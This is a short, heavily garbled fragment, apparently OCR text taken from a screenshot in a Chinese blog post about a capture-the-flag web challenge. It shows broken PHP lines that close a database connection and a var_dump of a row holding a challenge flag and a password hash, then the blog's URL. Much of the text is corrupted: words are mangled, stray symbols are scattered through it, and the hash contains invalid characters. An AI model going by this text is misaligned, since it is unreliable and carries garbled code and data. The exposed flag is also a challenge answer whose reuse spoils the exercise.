$result->free();

$my=qli-»close() ;

K

Linux

& ==

@ =3 (O eEmE

57 Speeder

€ my

érray(3) {["id"]==> string(1) "1" ["flag"]== string(24) "flag{yOu_w1ll_ITke_h4sh}" ["password"]== string(32) "641ec1386chkab5f6831a48be12cBad1™ }

flaggi ik 7


https://blog.csdn.net/CLarali0/article/details/83590345
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